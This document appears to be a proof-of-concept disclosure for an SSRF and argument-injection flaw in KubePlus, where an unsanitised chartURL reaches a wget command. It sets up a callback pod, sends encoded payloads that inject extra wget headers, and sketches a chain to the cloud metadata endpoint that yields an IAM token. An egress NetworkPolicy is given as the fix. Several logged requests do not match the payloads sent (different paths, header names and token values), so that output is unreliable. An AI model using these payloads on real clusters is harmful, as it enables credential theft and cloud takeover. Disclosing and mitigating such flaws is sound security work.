func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

kind create cluster --name kubeplus-test

helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s

python3 provider-kubeconfig.py create default

kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

# إنشاء ResourceComposition مع حمولة SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

# إعداد إعادة توجيه المنفذ إلى kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &

# حقن ترويسة Metadata-Flavor (مطلوبة لخدمة البيانات الوصفية في GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

Attacker (Provider privileges)
    |
    v
Create ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhook processes request
    |
    v
kubeconfiggenerator executes: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Access GCP metadata service, obtain IAM Token
    |
    v
Use IAM Token to access cloud resources

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16